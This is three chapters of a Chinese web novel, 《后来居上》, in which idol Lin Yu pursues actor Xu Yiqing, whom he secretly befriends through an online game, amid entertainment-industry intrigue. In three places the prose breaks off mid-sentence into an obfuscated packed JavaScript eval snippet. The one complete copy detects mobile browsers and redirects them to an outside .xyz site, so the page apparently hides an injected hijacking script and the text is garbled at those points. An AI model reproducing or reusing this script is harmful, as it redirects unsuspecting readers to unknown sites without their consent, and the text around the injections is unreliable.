《后来居上》 1. 第 1 章 暮色时分,金城君麟大厦,专属电梯从四十五楼缓缓往下。 星潮娱乐是卢氏影业旗下子公司,背靠君麟集团。卢总跟老板私交甚笃,不仅在这栋CBD 中央区大厦占据了整整十层楼,还专门辟出了两部电梯供艺人们使用。 林钰面向落地玻璃,浩渺江景尽收眼底,可他的目光却锁定在镜面倒映的人影上。他扯了扯颈间的 choker,又拨了拨头发,唇角无意识地翘起——显然对自己这副皮囊相当满意。 不过你要是长他这样,也不免自得:一八三的身高,薄肌恰到好处;剑眉英挺,轮廓深邃;内双的眼尾天然上扬,栗棕色眼珠一转便带出几分狡黠与灵动。鼻梁高耸,薄唇线条利落,不仅帅,而且极具辨识度。 在俊男美女层出不穷的娱乐圈,这种能让人“一眼记住”的面孔尤为珍贵。 更何况他走酷帅 Idol 路线,造型前卫:眉钉、唇钉一应俱全。刚练完舞,身上还冒着热气,宽大的 T 恤在腰间随意打结,露出一截劲瘦的腰腹,银色脐环在灯光下闪闪发亮。 电梯里没有外人,助理丁颂“嘿”地笑了声,带着点恭维:“钰哥越来越帅啦。” 他一双黑眼珠滴溜溜转了两圈,踮脚凑到林钰耳边,小声嘀咕:“……我听说,姜姐跟卢总汇报了几次,想给您争取今年New Year Special的封面哩。” 星潮娱乐是金城“三巨头”之一,每年底都会发行专属杂志,深度展示旗下艺人的魅力与才华。 姜施岳是他前女友,虽说分了手,却没断交情,历来是向着他的。 林钰白了他一眼,“没定的事别乱说。”又补充了一句,“指不定哪儿就蹦出条大鱼截了胡。” 这种事在他们圈子里很常见,人人背后都有靠山,大腿一条比一条粗。 星潮娱乐的新年特刊与其他时尚杂志不同,不看绝对咖位,只看当年红不红、话题够不够爆,正是各显神通的时候。 林钰虽是 NovaFlare(NF)的队长,在偌大的星潮娱乐却排不上号。姜施岳想抬他,心是好心,事却难办。 不过他得领这份情,从兜里掏出手机,修长的手指飞快敲下一则声情并茂的感谢短信,发给前女友。 刚点发送,手机“叮”地一声,置顶对话框跳出小红点——只有两个字:“取消。”林钰啧了一声,把手机塞回口袋。 丁颂眼尖,对林钰和君麟集团那位苏副总裁的来往也心里有数。瞄到信息,他迟疑片刻,讪笑:“既然苏姐没空……要不咱回舞蹈室再练会?” 林钰抬手在他额头弹了个爆栗:“回个屁!我都快练吐了!”又翻个白眼,“有这工夫不如回家打两把游戏,我多久没上线了。” 丁颂叹了口气,不好再多说什么,多说一句人家都得嫌烦。 他并不是林钰的专属助理,但一进公司就是跟的NF团,后来又带了不少新人,自嘲是块砖,哪里需要哪里搬。 可在一众艺人里,他最喜欢跟林钰。原因无他——这位哥幺蛾子最少。为什么幺蛾子少?因为懒! 而且不是一般的懒。论天赋,无论舞蹈还是声乐,别说 NF 团里,就是整个星潮娱乐,林钰也算翘楚,奈何不太上进,一天到晚生怕累着了自己,会跳会唱了就别想他再多花哪怕一点功夫。 “叮——”电梯在四十楼停下,门一开,一前一后进来两道身影。 丁颂立刻挂起笑脸:“侯老师,许老师。” 林钰转身,目光掠过稍矮的那道侧影,落在高个子身上:“两位老师好。超哥,这么巧?哟,换发型了?” 侯超标志性的栗金中长发剪短了,染成灰棕。他比林钰还高两厘米,最近增肌明显,衬得身旁那位愈发娇小。 “剪个头发还被骂没打审批,荒不荒唐?!”侯超一脸愤懑,却也得等电梯门合上才敢抱怨。 不荒唐。剧宣期擅自换造型,不骂你骂谁?林钰扯扯嘴角:“超哥什么发型都能驾驭。” 林钰有个本事,再肉麻的恭维从他嘴里说出来都像真心话。 侯超受用地点头,瞥他一眼:“刚练完?我都好久没动了。”说着把胳膊搭到林钰肩上,“都说你舞跳得最好,回头教教哥。” 林钰不着痕迹地从他臂弯里滑出来:“我哪敢班门弄斧?谁不知道超哥天生爱豆。”又补一句,“您这压迫感太强,举手投足都是霸总气场。” 这两年总局放宽双男主剧的限制,侯超正好赶上,跟他身旁的许亦清搭档出演了一部《这霸道的爱情》,最近火遍荧屏。按角色要求,特意增肌。 丁颂在一旁凑趣:“我朋友都说《霸爱》好看,剧情紧凑张力足,就盼着两位官宣 CP呢,年底的‘最佳情侣’肯定没跑。” 官宣 CP 是顶流荧幕情侣才有的待遇:观众高度认可这两人之间的化学反应,不接受他们在同类型剧里再与别人饰演情侣。 虽然对戏路有一定限制,但好处更多,双人合体能接到的商务代言级别往往更高,在各种综艺、采访里也能获得最多的镜头以及话题流量。 但要获得官宣的资格并不容易,不仅主演的剧集有明确的收视率要求,在热搜榜上的热度也必须持续递增。 这番祝愿不知怎么就得罪了侯超,他撇了撇嘴,冷哼一声没接腔。 倒是站在电梯角落里的人影抬起头,低声说了句:“谢谢。” 丁颂怔了怔,“许老师客气了。” 林钰的目光再次掠过许亦清,转头跟丁颂对视一眼,随即望向窗外。江面起风,大雨欲来。 电梯很快抵达停车场。门一开,几名扛着摄像机的狗仔蜂拥而上。 名义上工作场所禁止蹲守,但为了流量,安保向来睁一只眼闭一只眼,按公司下达的指令管控。侯超和许亦清的新剧正在热播,宣发需要热度。 闪光灯噼啪,侯超一把搂过许亦清,两人贴在一起,摆出一副亲密好友的姿态。 丁颂拽拽林钰的袖子,小声说:“要不我们也去蹭……” 侯超和许亦清的新剧反响热烈,关注的传媒、自媒体很不少,一个公司的,蹭一蹭流量也不是什么大事。 “蹭个屁!”林钰反手拉住丁颂,猫腰朝他那辆二手的宝马GT快步走去。 一台摄像机追了两步,见他脚底生风、摆明不给素材,只好掉头回去拍那对“秀恩爱”的。 上车后丁颂还在跺脚:“哥,你这个月宣发 KPI 又没完成,这不正好……” “放心,还能为这点事踢了我?”林钰一脸无所谓。 他才二十四,却已在圈里混了五年,老油条一根。哪些任务必须做,哪些能糊弄,心里门儿清。 丁颂除了叹气还是叹气,嗟叹半晌,看看天色:“那你……送送我?反正你也没事。” 要是别的艺人面前,他绝不敢提这个要求,但林钰这里他敢。这哥不喜欢摆架子,也没多少当明星的觉悟,经常口罩都不戴地四处乱窜,多亏不算火。 “嗯。”林钰打转方向盘,驶出地库。狂风卷着雨点砸在挡风玻璃上,金城初秋的雨水说来就来。 他把车停在大厦侧门,没急着走。 “还等人?”丁颂问。 林钰翻个白眼:“我跳了半天不累啊?歇会儿。” “那不如回家躺着……” “就你话多!”林钰从扶手箱摸出一颗陈皮糖丢到他腿上。艺人车里常备口气清新剂、益生菌,陈皮糖倒少见。 “这糖忒酸……”丁颂剥开糖纸塞进嘴,酸得皱眉,又补一句,“钰哥牙口真好。” 林钰没搭腔,目光扫向后视镜。 片刻后,侯超的奔驰驶出地库。司机开车,后座隐约两道身影,贴了防窥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不过许老师是真漂亮啊!”丁颂转头犯起了花痴,“电梯顶光都挡不住的美貌,那皮肤白得跟牛奶似的。艾米说许老师的皮肤比Sandy姐都要好,别说胡茬根了,连黑头毛孔都没有!唔,许老师肯定做过毛囊管理,改天找机会打听一下在哪家机构做的……” 许亦清是个用“漂亮”来形容丝毫不违和的男人,那张脸放在娱乐圈也是能让人惊艳的程度。可惜身高略微矮了点,官方资料一七八,据林钰目测最多一七五。而且之前的公司给他规划的路线有问题,顶着这样一张脸非要演武打硬汉,拖到这部《霸爱》才算火起来。 林钰偏要唱反调,“用得着这么夸张吗?也就……一般吧。” “这还叫一般?”丁颂撇嘴。 “各花入各眼,我就觉得挺一般的。”林钰一手把着方向盘,一手握下巴,一副不敢苟同的样子。 丁颂不服:“您是直男审美。公司那些女生哪个不迷他?服装组的露西说他换下来的衣服都是香香的,又不乱扔。场记夸他和侯老师对戏简直绝了……” “你这行混多久了,帅哥美女还看少了?”林钰揶揄着打断他,嘴角却挂着一丝若有若无的笑意。 丁颂知道林钰不是那种不能在他面前说别的帅哥的人,不以为意地顶嘴,“反正我觉得许老师挺好看的。” “他这次能火,大伙都替他开心。不过吧,”他皱起眉头,“许老师什么都好,就是……” “就是什么?” “有点老了。”丁颂叹了口气,“他都三十三了,过了好时候。侯老师为什么嫌弃他?还不是因为这个,侯老师也就比哥你大两岁……” “老?他哪里老了?长得一般是真的,老就未必吧!一天天地尽跟着瞎说!”林钰没好气地挖了他一眼,“哧”一脚刹车停在地铁口,“下去下去,赶紧的!自己坐地铁回去,我还有事!” 丁颂被赶下车还在犯迷糊,到底哪里又得罪了这个小瘟神?说好送他的又反悔了。他跺了跺脚,冲着远去的车灯嘀咕了几句,转身进了地铁站。 2. 第 2 章 林钰前脚刚进公寓,后脚瓢泼大雨就砸了下来。 他三步并作两步冲到阳台,先把晾干的床单、被套抱回屋,又打开冰箱,拿出一盒番茄牛肉意面的半成品,点上火,在铸铁锅里搅拌搅拌,囫囵两口,权当晚餐。 从大学起就一个人生活,只在宿舍住了一年,大二签了星潮娱乐,白天上课晚上训练,高强度连轴转了两年半,成功组团出道,半年参加了十几场商务活动,加上家里的资助,买了这套公寓。 一个人习惯了,照顾自己不在话下,唯独厨艺六七年如一日地稳定——稳定地糟糕。上帝给你开了一张门,必要关上一扇窗。 他将没吃完的意面推到一旁,往沙发上一躺,随手打开电视机遥控器。 页面停留在前一晚关闭前的栏目,侯超那张怒气冲冲的帅脸出现在屏幕上,他对着倾心的爱侣破口大骂,却又在对方转身离去时一把拉住他的胳膊,强势地将人搂在怀里,狠狠地吻了上去…… “啪!”林钰按了关机键,扔下遥控器,往浴室走,路过镜子忍不住模仿了一下侯超刚刚的表情,半晌,冷哼道:“这是爱人该有的表情吗?金角大王要吃小孩还差不多!就这还一堆人喊好是不是眼瞎……” 他打开莲蓬头,冲落一地地不满。 洗完澡,看了看墙上的挂钟,先登陆大号,玩了两把,让段位维持在不高不低的水平。再退出登小号,潇洒地拄剑守在峡谷边。 等了半个小时,熟悉的黑猫头像终于在好友栏点亮。 “来了?”林钰难掩雀跃,主动且殷勤地打招呼,“最近忙?”——整整十三天没联系。 对方很快回:“是,最近工作比较多。” 林钰当然知道他在忙什么,隔着屏幕咬了咬牙,敲道,“咱俩挖宝去?我矿石快没了。” “好。”对方加了个笑脸。 虚拟世界里,两人一前一后蹦跶着跑进森林深处,一同打怪,又挖矿石,“噌”一声,他的藏宝库里多了一摞矿石——黑猫警长全让给了他。 “怎么全都给我?” “我还有。” “警长你真好!”撒娇.jpg 林钰眉开眼笑,略有些吊梢的狐狸眼滑过键盘,犹豫片刻,加了个飞吻的表情。 对方没有回复,仍旧在满场乱转,“吭哧吭哧”地挖着矿石。 他却是松了一口气,断断续续聊了四年、游戏里搭了两年,最近才敢伸爪子试探。 刷完两局,两人都没有急着下线。 偷心大盗:“今天累吗?开不开心?” 黑猫警长:“不累,你呢?” 偷心大盗:“我也不累。你不说开不开心,就是不开心啰?” 黑猫警长:“……” 黑猫警长:“警觉的小贼~”嘲笑.jpg 偷心大盗:“你愿意说给我听吗?我想分担你的不开心。”林钰一个字一个字地敲击。 过了片刻,对方发过来一个略显心虚的表情,“我觉得我在做一件很不好的事情。” “□□?” “爆锤.jpg” 林钰其实隐隐有猜到,还是想引导对方主动说出来:“你不说我会乱想……” 黑猫警长:“我觉得我在欺骗别人。” 林钰瞬间明白过来,因为这部爆火的双男主剧,网上涌现出许多CP粉,几乎各大平台都有两人秀恩爱的名场面。 热度确实持续高涨,但主角也被架在了半空中。 “我去年告诉过你,我父亲罹患Cancer的事情吧?结肠方面的。”他思索片刻,敲打着键盘,“但是可能没有跟你说,家里人向他隐瞒了真实病情,只说是肠息肉。” “我父亲直到走才知道真相,但没有怪我们姐弟俩,他说如果一早知道真实情况,可能余下的日子都会生活在痛苦和恐惧里。” “谎言分为善意和恶意,有时候别人也未必不懂,只是甘心沉溺美好的幻境,你不必为此自责。” “当然,也不要过多去满足别人的期待。”这一句,林钰想了想,才按了发送键。 对面沉寂片刻,发来了一个“感谢”的表情包,“嘀”一声又加了一句:“谢谢有你。” 像大热天吃了个冰淇淋,五脏六腑每一个毛孔都舒张开来,林钰盯着那四个字傻笑,半晌才又敲了一句:“吃饭了吗?” “没有。”难过的表情显得十分生动,“参演的剧可能要拍续集,公司要求减肥。” 《霸爱》的投资并不算大,却爆了,续集板上钉钉。林钰早听到消息,并为此摩拳擦掌,跃跃欲试。 想上镜就必须减肥,连他下午消耗那么大体力,晚餐也只吃了两口。不过刚在电梯里惊鸿一瞥,直觉许亦清身形已经十分单薄了。 “还减?你都瘦成什么样子了?!”打完这一句差点按发送,又连忙删除掉。黑猫警长虽然透露过职业是十八线小演员,但按道理他应该不知道他是谁才对。 “减肥也不一定要节食啊,运动也可以嘛。” “撸铁会长肌肉。” 与侯超相反,许亦清出演右位角色,必须维持清瘦的身段。 “那……打羽毛球怎么样?” “想打,不过我们这行很难找到搭子。” “这项运动喜欢的人多,可能是你没发现。” “嗯,我有机会问问同行。” 等互道晚安下了线,林钰跳起来翻箱倒柜。他大学院校旁边是体育学院,没少跟那帮特长生切磋,羽毛球、网球都不在话下。 将两个球拍搁在枕畔,他屈肘枕在后脑勺,脑海里闪过电梯门一开被迅速搂在别人怀里的身影,他似乎被吓了一跳,猝不及防又带了点可怜兮兮。 长得也就……一般吧!可这表情也……太tm勾人了! 他一翻身爬起来开始做俯卧撑,汗水一滴滴砸在地板上,刚洗的澡算是白洗了。瘫坐在地板上,大口地喘气,呼出几许不甘,又吸进去更深层次的欲望。 连丁颂都不知道他其实去试过如今大火的这部双男主剧,在得知许亦清有望出演之后。 他其实想跟他搭一场,可惜没机会,选角导演跟他有几分交情,试了两个片段就把他拉到一边:“兄弟,看不出啊唱跳出身戏也演这么好。”他竖了个大拇指,“不过……咱俩这交情我给你透个底,你试的这个角色公司已经内定了,侯超形象最符合。而且你们团年中不是要开演唱会吗?你既不能增肌也忙不过来。” 主演是不用想了,“要不作个配?”林钰不打算轻易放弃。 选角导演一脸为难,“我这一个萝卜一个坑,而且,都是没几句话的小角色,就算你肯演,姜姐也不能答应吧?”他冲他调侃地眯了眯眼睛。 彼时他跟姜施岳还没分手,是圈子里半公开的秘密。但两人理念不合已经初现端倪,为这事彻底闹掰了。 姜施岳恨铁不成钢地捶他肩膀,“虽说政策放开了,但演了腐剧再想转正剧几乎不可能,这是圈子里的铁律。你要想上樊导张导的剧作个配,我替你想办法,这部是绝不可能,别说我,上头老板也得骂人。” 林钰的全约都签在星潮,这也是星潮肯捧他的原因之一,偷摸着一番闹腾,到底没能如愿,倒是彻底跟姜施岳分了手。 都市男女,尤其他们这个圈子里头分分合合很常见,前一晚上goodbye,第二天见面照常say hi,同在一条船上混着,滚过床单的到底比没滚过的多一层了解和三分信任。 林钰颇有些郁郁地睡去,梦里却回到了六年前那个夏天。 高考失利,没考上理想的工科院校,他爸戳着他脑袋骂:“叫你不要疯玩也不听,考这么点分数对得起谁?!” 他妈在旁边两头哄:“孩子心里不好受,少骂两句。你也消消气,当心血压……” 他姐事不关己地在客厅看电视,林钰情绪低落地晃悠过去,却跟屏幕上那张脸庞对了个正着。 一双水汪汪、亮晶晶的眼睛看过来,心脏跟被攥住似的。 “这谁呀?”过了好半晌,他才找到自己的声音。 “叫许亦清,帅吧?”他姐一脸花痴,“我觉得他长得可帅了,可惜不怎么火,在这部剧里演男二,人设一点也不讨喜,要不是这张脸撑着,真是看不下去啊!” “长得吧……还行,”林钰品头论足,“长这样都不火说明没啥实力!” “瞎说! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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既然是上班么,自然有工会,虽然职能跟公关宣发部重合,但的确一年也要组织两场工会冠名的活动。 “哟,大明星,什么风把你吹来了?”工会主席李姐从宽大的办公桌后站起身。 一个娱乐公司人分三等,一等是特会来事的,既有对应的咖位也是老板面前的红人,是大伙都要敬着、捧着的。 还有一等是天性冷淡不太会来事的,一般都被边缘化,被社会毒打、被事件改变,慢慢融入或者彻底离开。 而人缘关系最好的是中间这等,既不过分出挑惹人嫉妒,也不自命清高能随大流,比如林钰。 林钰将手上的咖啡和蛋糕递过去,“来给李姐送下午茶啊。” “你这张甜嘴!”李姐接过茶点,娇嗔地看他一眼,“难怪施岳对你旧情难忘。”李姜二人算是闺蜜好友。 林钰不接“旧情”这茬,“忙什么呢?” “还不是年底的工会活动。”李姐引他在沙发上坐下,“不办不行,办了也得罪人。你们个个都是大忙人,上综艺、接采访,分分钟来钱,不耐烦应酬这些表面功夫我懂,可我有什么办法?上头有指示。”李姐难得找到合适的人吐吐苦水。 “我来也是为这事,年底有好几个通告,别撞上档期,回头缺席活动可不能让李姐误会我是不想参加。”林钰露出一抹狡黠的笑意,他眼尾上挑,笑起来总略带一丝魅惑。 “别上我这释放魅力啊,回头施岳要挠我。”李姐呵呵地笑,“档期还没影呢,连活动类型都没定下来。” “可千万别又上那老三样,去年我喝酒都喝吐了。”林钰也唉声叹气。 李姐比他还发愁,“那不然呢?既要大众化让大伙都能参与,又要有点挑战性能评出个一二三等,你们这些文艺工作者,不比唱歌跳舞比什么?” 林钰帮着皱眉思索,“要不……运动类?要男女都擅长的、门槛不太高的,跑步怎么样?来场公司冠名的马拉松。” 李姐白他一眼,“想堵塞交通吗?”思维却是不自觉顺着他说的方向走,“唔,办个网球比赛也行……不行,网球门槛高了点,羽毛球!对!羽毛球比赛最合适!”李姐拍着手掌,“男女都能打,门槛又不高,又符合‘运动健身年’的主题。” “羽毛球比赛?这倒是个好主意。”见李姐上彀,林钰勾了勾嘴角,跟着点头,“还是姐想得周到,不过这事你得早点在工作群发通知,有些腕太忙了,也能提早练练,否则临场出了丑又怨怪在你身上。” “也就你能体会到咱们这岗位的不容易了。”李姐拍着林钰的肩膀,由衷地感叹。 3. 第 3 章 隔了没几天,公司工作大群里发布了年底举办羽毛球比赛的消息。 林钰当着丁颂的面将羽毛球包搁到后备箱,又叮嘱他赶紧拉群。艺人身份特殊,去公开场馆容易被偷拍,想练球只能内部组团约场子。 “哥你这么热心这事干嘛?打球比练舞还积极。”丁颂忍不住小声嘀咕。 小狐狸怎么可能说实话,戳着额头提点他,“年底的拍摄不是还没定下来么?我一向擅长各种球类运动,要是拿个名次,入了上头的法眼……” 这种全公司的活动,只要办,必然会办个排场,指不定卢总会亲自颁奖。 “原来如此。”丁颂大感欣慰,老油条也知道急了,是好事,他得助他一臂之力,立刻跑遍各楼层吆喝,逢人就安利。 娱乐公司每年进的新人不少,坐冷板凳的也多,只要有机会露脸是绝不可能放过的,羽毛球练习群眨眼就挤进一二十号人。 林钰自然做足样子,前几场活动几乎场场不落,跟新人打成一片,“钰哥”前“钰哥”后的叫声此起彼伏。 等到第四次集训,他总算等来那抹熟悉的身影。 许亦清因为新剧上映,近来挺忙,各种采访、宣发轮番上阵,入群有段时间了,还是第一次来打球。 他虽是中途加入“星潮”,但因为剧集热播,在公司的咖位有所上升,认识他的新人不少,喊着“许老师”,将他推到场上,而与他对战的正是林钰。 公司临时起意的工会活动、火速建成的羽毛球群,并未引起许亦清的怀疑。 他与“偷心大盗”的私交建立在他进入“星潮娱乐”之前,从组队打游戏到深夜私聊,对方热情却懂分寸,从不探听隐私,但又总在他情绪低落时给予安慰,在他迷茫困惑时给出主意。 有时他觉得那人像个刚毕业的男大,青涩莽撞;有时又像个阅历深厚的老友,沉稳通透。 他是外省人,在金城没有几个知交好友,这段隔着屏幕的友谊随着时间的推移愈发被他看重——他压根没把“偷心大盗”和现实中的任何一张脸对上号。 更何况林钰是大学未毕业就被星潮签下、一路捧出来的亲儿子,而他是因为试上了正在热播的这部剧才签约的“星潮”,同事关系不过一年,平时点头之交,见面叫声“许老师”也合情合理——毕竟对方整整小他九岁。 此刻隔着球网,与平时装束大不相同,各自穿了身宽松的运动服,视线相撞,皆是一怔。 见那双晶亮的眼眸看过来,林钰扯出一抹狡黠的笑意,“许老师,看球!” 他轻吸口气,身体微微下蹲,球拍闪电般划过空气,将羽毛球狠狠击向对方场地。这球力道很足,速度极快,带着呼啸的风声,直奔许亦清。 任何场合、任何关系,实力才是硬道理。 许亦清的反应出奇地迅速,身体灵活地向左移动,同时高高跃起,球带着点旋转,被扣杀回来。 林钰眼中闪过兴奋,后撤、蹬地、腾空,精准地再次将球击向许亦清后场。 两人自此在球网两侧展开拉锯:冲刺、急停、劈杀、挑高,每一次挥拍都像拉满弓弦,力道与角度分毫不让。 围观的新人被这波对攻点燃,喝彩声此起彼伏。 林钰被热浪般的欢呼烘得耳尖发红。他视力极好,隔着球网也能看见对面那人原本冷白的肤色一点点透出粉,又迅速洇成深红,汗水沿着下颌滚落,像给那张脸添了层惊心动魄的釉。 二十一球打完,林钰以五分之差落败。他没放水——他篮球打得好,羽毛球、网球都只能算一般——输得心甘情愿。 他抹了把汗,走到场边长椅上坐下,看许亦清迎接下一位挑战者。 这样的场合无需刻意收敛,可以大大方方将目光锁定在那抹矫健的身影上,可以在双方打出一个好球时跳起来拍掌叫好。 许亦清连下四城,呼吸终于乱了节奏,收拍下场。 这种类型的小团体向来是分层级的,只有林钰一人坐一条长椅,空着大半的位置。他走过去点点头,在长椅的另一端坐下来。 一缕香皂的气息夹杂着淡淡的汗味飘过来,比任何香水都好闻。林钰不动声色地挪过去半尺,扬起一个谦逊又友好的笑:“许老师演戏厉害,没想到球也打得这么好。我还想拿个名次呢,看样子彻底没戏了。” “过奖,”许亦清礼貌回应,“你也打得不错。” “其实比起球技,我更想向许老师请教一下演技。”林钰很自然地再靠近一点,眼睛亮得像讨教的学生,“昨晚我刷到您跟反派对峙那场,一个眼神就把复杂情绪全兜住了,厉害!这是生活体验,还是有套路?” 许亦清没料到他不是说客气话,肉眼可见地呆愣了一下才温声道:“主要是来自对角色的揣摩。这部剧有好几个反派,主角与他们之间的情感都不是单一的,事件促进情感的转变。眼神比台词更直接,也更容易露馅。” 说起表演,他明显比平时健谈许多,“台词可以修饰,眼神骗不了人。想让观众信,得先让自己信。” 林钰摆出一副受教的表情,“我觉得许老师说得很有道理……有时候我看您跟侯老师的对手戏感觉有点怪……”他压低声线,几乎贴着许亦清的耳廓,“我说话直您别介意。他饰演的角色对您爱得死心塌地,就算有误会,爱也该是底色嘛,可我看他有时候的眼神……” 他一边给侯超“上眼药”,一边微微抬起眼睛,却见许亦清脸色刷地惨白。 反应这么大?林钰心里一酸:媒体写他俩“假戏真做、因戏生情”难道是真的?可那“大马猴”哪点值得他喜欢? 念头还没转完,许亦清鬓角已经渗出冷汗。林钰这才察觉不对,一把扣住他胳膊:“你是不是没吃饭?” 许亦清被他吓了一跳,下意识缩了缩手肘,低声道:“嗯,来不及。”他下了通告就往球场赶,哪里顾得上吃饭。 林钰从裤口袋里摸出一颗糖,利落地撕开,直接塞进许亦清嘴里。指尖掠过微凉的唇瓣,像掠过一滴即将坠落的水珠,惹得对方条件反射般地往后一缩。 林钰仿佛没察觉,皱着眉嘟囔:“八成是低血糖,空腹剧烈运动最容易犯。”说完又补一句,“我猜的,你别紧张。” 许亦清含着糖,轻轻点头,“没事,谢谢你。” “客气什么,同事之间。”林钰笑得一脸坦荡,顺手把两人球包甩肩上,“走吧,我送你。我明早还有试镜,也得走了!” 不等许亦清推辞,他已朝众人挥了挥手,大步流星出了球馆。许亦清只得跟上,犹豫两秒,还是低头钻进了林钰的车。 “许老师,您住哪儿?”林钰明知答案,还是按流程问了一句——演员和爱豆都讲究细节,不可能在这种小事上露出马脚。 许亦清报了小区名。林钰点头:“正好顺路。” 车厢一路安静。等红灯时,林钰打开扶手箱:“里头还有糖,您要是不舒服再吃几颗。” 低血糖的眩晕过去后,许亦清才注意到糖纸的配色,轻轻“咦”了一声。 “不合口味?”林钰瞟他一眼,“不好意思,车上就这一种,我挺喜欢这个味道的。” “不是,”许亦清略有些尴尬,还是实话实说,“我代言这个牌子,不过就这个系列。厂家说味道小众,销量一般。” “啊,是吗?那真是巧了,”林钰勾起嘴角,“我偏偏爱吃。许老师家里一定囤了不少?下次分我点儿?” “没问题。” 两人有一搭没一搭地聊着,转眼就到了小区门口。 “就停这儿吧,麻烦你了。”许亦清推门下车。 林钰也不过分殷勤,从车窗里探出半个脑袋,“许老师,下次打球之前可一定要吃饭呀。” “好。”许亦清抬手挥了挥,转身进了小区。 林钰目送那道背影在夜色里消失,俯身在副驾深深吸了一口气,像是要把那人残余的温度和气味都收进胸腔,片刻之后轻踩油门,缓缓驶离。 车到半路,“嘀”一声消息提示音,打开界面,简短四个字:“过来坐坐?” 他回了个“好”,一打方向盘,朝江边驶去。 临江的大平层豪宅,安保十分严密,核对车牌后才予以放行。 停车入地库,按电梯到四十楼,一梯一户,刷指纹进去,入户小花园里,一抹倩影正执小银剪修枝。 听见动静,苏茜回头,目光在他运动装上停了停:“打球去了?这么闲。” “苏姐不管什么时候召唤我都有空,”他嬉笑着凑近,先去看那盆夜香兰。“哟,这花开了?还是苏姐会养。” “你倒是好记性。”苏茜睨他一眼。 林钰仍旧赔笑,却后退半步:“我先冲个澡,别把花和美人熏着。” 他径直进了内室,再出来时,已换了一套真丝睡衣,头发吹得半干,带着微微潮气。手里拿着苏茜常用的那把檀木梳,蹲到阳台摇椅旁,仰起头笑:“苏姐,高抬贵手替我梳两下?” 苏茜轻笑,接过梳子。他便顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487712|185710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势歪倒,枕在她膝上。 梳齿在栗色的头发里穿梭,修长的手指轻抚着光滑的面颊。夜风从阳台送入,空气里弥漫着花香。 “听说你要去试镜?”苏茜忽然开口,“还是那部腐剧的续集?” “果然什么都瞒不过苏姐。”林钰闭着眼,声音低而软,像餍足的猫。 但苏茜知道他是只狡猾的狐狸,将梳子扔到一旁,捏了捏他的鼻子,“还是打算走这条路?” 林钰睁开眼,眼尾扬起,带着惯有的慵懒笑意。他换到旁边的躺椅,双臂枕在脑后,语气却无比认真:“我想试试。” 狐狸的狡黠正在于此:他并未拒绝递过来的橄榄枝,却比谁都懂,那些位高权重的女人真正想听、想要的究竟是什么。 在与苏茜来往的过程中,林钰不掩饰自己的野望,却从未开口向她讨要任何资源,也不像一般男人急着将女人往床上带——似乎得到一个女人的身体就能控制她的心灵似的。 相反,他应邀而来,多半只是陪她品一杯酒,聊聊公司的趣闻抑或明天的通告。 十七年首秘生涯,成功让苏秘书变成了苏副总裁,她只需一眼,就能看穿男伴们心里的算盘。 可对林钰,她始终存有一份偏爱。 女人的感性注定她们很少是纯欲的下半身动物,相比那些怀揣目的、急于在床上展示雄风的床伴,她们更喜欢贴心的陪伴、真诚的赞美、毫不设防的交流。 苏茜端起一旁的红酒杯,与他的杯沿轻轻一碰,“想好了?” 林钰点头:“这样美好的夜晚,我会一直记得,还有同样美好的你。可是,苏姐——以后我不能来了。” 苏茜轻啜一口红酒,抬眼看他。 林钰迎着她的目光颌首,“我要去正儿八经地追一个人、谈一段恋爱了。” “所以,”苏茜晃着杯子,似笑非笑,“之前的那些,包括姜施岳在内,都不算正经?” 林钰摸了摸鬓角,“我从小到大没有追过谁,答应交往是真心想试试。” 他没干过脚踏几条船的事,就连跟苏茜来往,也是在跟姜施岳分手之后。“但我的确没有尝过爱情的滋味。” “哦?爱情是什么滋味?”苏茜逗他。 林钰怔了怔。他跟姜施岳交往近两年,信任和默契是有的,她总维护他、极力为他争取资源;对苏茜,是欣赏与崇拜,一个女人要坐在这个位置上,天赋与努力缺一不可。 可对许亦清的感觉格外不同—— 脑海里滑过那张运动后绯红的面庞,想舔他颈间滑落的汗滴,想啃他温软的嘴唇,想……他叹了口气,“我大概是知道的,但没法形容。” 小狐狸说得坦坦荡荡,不但令人无法生厌,反倒生出几许佩服。不是每个借梯上楼的人,都敢在手握资源的金主面前袒露内心真实的欲念。 一半是对她的认可,似乎笃定她并不会因此为难自己。另一半,则是专属于年轻人的莽撞:仿佛天底下没有什么是不能失去的,也没有谁能将他阻止。 年轻真好啊!苏茜不能不发出慨叹,她摇晃着酒杯,“想演腐剧,想谈恋爱——你喜欢的,原来是男人?” “是人。”林钰答得一本正经,“感觉对了就行,不过我之前没交往过男人。” 这点苏茜当然清楚,在浮华喧嚣的娱乐圈,这是个相对干净的男人,否则也不会成为她的入幕之宾。 “我很多年前就对这个人有感觉,可以说他是我进入这个圈子的诱因。”林钰仰头看着天上明月,“不走近试试总不甘心。” 苏茜失笑,“你才多大,就很多年,”她与他同赏这都市夜空的月华,“不过爱情,也许没有你想象的美好。”脑海里闪过李景麟与曾闰成对峙的画面,“即使富可敌国、声名显赫,也未必能够如愿以偿。” “这不正是它的美好之处吗?一掷千金换得来感动,换不来心动。” 苏茜怔了怔,随即莞尔:“也是。” 她看向那张在月色中熠熠生辉的脸庞,由衷叹道,“林钰,你是有才华的,不要过分沉溺于情爱。”她听过他唱歌,也看过他的舞台表演,“你们卢总眼界有限,你适合更大的舞台。你趁这剧的热度攒攒人气吧,我送你一件分手礼物。” “受之有愧,不过谢谢苏姐的认可。”小狐狸始终是狡猾的,眼珠一转又打听起了八卦,“姐,我听说卢总跟我们大老板……是不是真的?” 